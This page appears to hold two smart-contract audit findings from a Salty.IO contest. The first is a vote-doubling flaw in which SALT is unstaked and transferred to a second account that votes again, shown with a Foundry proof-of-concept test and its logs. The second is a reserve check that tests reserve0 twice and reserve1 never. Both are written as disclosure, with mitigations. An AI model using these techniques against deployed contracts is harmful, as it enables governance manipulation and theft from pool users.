Salty.IO - cu5t0mpeo's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAOConfig.sol#L115-L129 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingConfig.sol#L34-L48

Vulnerability details

Impact

Any user can double the weight of their vote to determine the outcome of the proposal

Proof of Concept

1. When a proposal is proposed, if no one calls dao.finalizeBallot, voting will not stop, and the minimum end time of voting is 3-14 days.

2. When users vote on proposals, they use salt tokens and need to stake them in the pool. The minimum time for users to cancel their pledges is 1-12 weeks.

When the minimum end time of voting is greater than or equal to 7 days, and the user's cancellation time is 1 week, then the user can cancel the pledge of his salt token after voting, and then send the salt token to other people, and other people can Then vote, which will double the number of votes. Since the end time of each vote may be infinitely magnified, the number of users' votes can also be doubled many times.

poc：

Just put it under the Proposals.t.sol file, and then execute COVERAGE="yes" NETWORK="sep" forge test -vv --match-test testCastVotePoc --rpc-url https://eth-sepolia.g. alchemy.com/v2/{your_token}

    	function testCastVotePoc() public {
        string memory ballotName = "parameter:2";

        vm.startPrank(DEPLOYER);
				staking.stakeSALT( 1000 ether );
				proposals.proposeParameterBallot(2, "description" );
				vm.stopPrank();

				uint256 ballotID = proposals.openBallotsByName(ballotName);

        Vote userVote = Vote.YES;

        // User has voting power
        vm.startPrank(alice);
        console.log("Before alice salt balance:%d", salt.balanceOf(alice));
        console.log("Before bob salt balance:%d", salt.balanceOf(bob));
        uint256 votingPower = staking.userShareForPool(alice, PoolUtils.STAKED_SALT);
        assertEq( votingPower, 0, "Alice should not have any initial xSALT" );

        userVote = Vote.INCREASE;

				// Stake some salt and vote again
				votingPower = 1000 ether;
				staking.stakeSALT( votingPower );
        proposals.castVote(ballotID, userVote);

				UserVote memory aliceLastVote = proposals.lastUserVoteForBallot(ballotID, alice);
        UserVote memory bobLastVote = proposals.lastUserVoteForBallot(ballotID, bob);

        console.log("Before totalVotesCastForBallot ID value : %d", proposals.totalVotesCastForBallot(ballotID));
        console.log("Before Ballot vote: %d", proposals.votesCastForBallot(ballotID, userVote));
        console.log("Before alice vote: %d", aliceLastVote.votingPower);
        console.log("Before bob   vote: %d", bobLastVote.votingPower);
        vm.stopPrank();

        vm.startPrank(address(dao));
        console.log("MinUnsakeWeeks: %d", stakingConfig.minUnstakeWeeks());
        stakingConfig.changeMinUnstakeWeeks(false);
        vm.stopPrank();

        vm.startPrank(alice);
        staking.unstake(votingPower, 1);
        
        vm.warp(block.timestamp + 1 weeks + 1 days);
        console.log("After alice salt balance:%d", salt.balanceOf(alice));
        salt.transfer(bob, 1000 ether);
        console.log("After bob salt balance:%d", salt.balanceOf(bob));
        vm.stopPrank();

        vm.startPrank(bob);
        staking.stakeSALT( votingPower );
        proposals.castVote(ballotID, userVote);

        aliceLastVote = proposals.lastUserVoteForBallot(ballotID, alice);
        bobLastVote = proposals.lastUserVoteForBallot(ballotID, bob);

        console.log("After totalVotesCastForBallot ID value : %d", proposals.totalVotesCastForBallot(ballotID));
        console.log("After Ballot vote: %d", proposals.votesCastForBallot(ballotID, userVote));
        console.log("After alice vote: %d", aliceLastVote.votingPower);
        console.log("After bob   vote: %d", bobLastVote.votingPower);

    }    

Results:

Running 1 test for src/dao/tests/Proposals.t.sol:TestProposals
[PASS] testCastVotePoc() (gas: 799181)
Logs:
  Before alice salt balance:10000000000000000000000000
  Before bob salt balance:0
  Before totalVotesCastForBallot ID value : 1000000000000000000000
  Before Ballot vote: 1000000000000000000000
  Before alice vote: 1000000000000000000000
  Before bob   vote: 0
  MinUnsakeWeeks: 2
  After alice salt balance:9999000000000000000000000
  After bob salt balance:1000000000000000000000
  After totalVotesCastForBallot ID value : 2000000000000000000000
  After Ballot vote: 2000000000000000000000
  After alice vote: 1000000000000000000000
  After bob   vote: 1000000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 66.89s

Tools Used

Manual Review

Recommended Mitigation Steps

It is recommended that after voting, the pledge status should be marked as voted. When canceling the pledge, it is necessary to check whether there are votes, and if there are votes, update to the new number of votes.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L187-L187

Vulnerability details

Impact

When the reserves of a certain token in the pool are less than PoolUtils.DUST, this will allow users to profit from more liquidity when adding liquidity, and will cause some important functions to be ddos

Proof of Concept

Users will call the Pools.removeLiquidity function to remove liquidity. In this process, it will check whether there is reserve0 or reserve1 when the liquidity is removed, whether it is greater than or equal to PoolUtils.DUST, but in the actual implementation, not all checked

From the implementation below, we can know that it only checks whether reserves.reserve0 >= PoolUtils.DUST meets the condition, but does not check whether reserves.reserve1 >= PoolUtils.DUST satisfies the condition. In other words, the user can reset reserves.reserve1 to 0.

	function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
		{
		require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" );
		require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );

		(bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB);

		// Determine how much liquidity is being withdrawn and round down in favor of the protocol
		PoolReserves storage reserves = _poolReserves[poolID];
		reclaimedA = ( reserves.reserve0 * liquidityToRemove ) / totalLiquidity;
		reclaimedB = ( reserves.reserve1 * liquidityToRemove ) / totalLiquidity;

		reserves.reserve0 -= uint128(reclaimedA);
		reserves.reserve1 -= uint128(reclaimedB);

		// Make sure that removing liquidity doesn't drive either of the reserves below DUST.
		// This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
        require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal"); 

		// Switch reclaimed amounts back to the order that was specified in the call arguments so they make sense to the caller
		if (flipped)
			(reclaimedA,reclaimedB) = (reclaimedB,reclaimedA);

		require( (reclaimedA >= minReclaimedA) && (reclaimedB >= minReclaimedB), "Insufficient underlying tokens returned" );

		// Send the reclaimed tokens to the user
		tokenA.safeTransfer( msg.sender, reclaimedA );
		tokenB.safeTransfer( msg.sender, reclaimedB );

		emit LiquidityRemoved(tokenA, tokenB, reclaimedA, reclaimedB, liquidityToRemove);
		}

In the end, if reserves.reserve1 is 0, then the user adds liquidity through addLiquidity to change the ratio of reserves0 and reserve1. In this way, the user is equivalent to controlling the price and making profits.

In addition, this will also cause other functions to not run properly, such as the swap function, which will eventually call the _adjustReservesForSwap function, which will have the following check require((reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST) , "Insufficient reserves before swap");

Tools Used

Manual Review

Recommended Mitigation Steps

change require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal"); to require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

Assessed type

Invalid Validation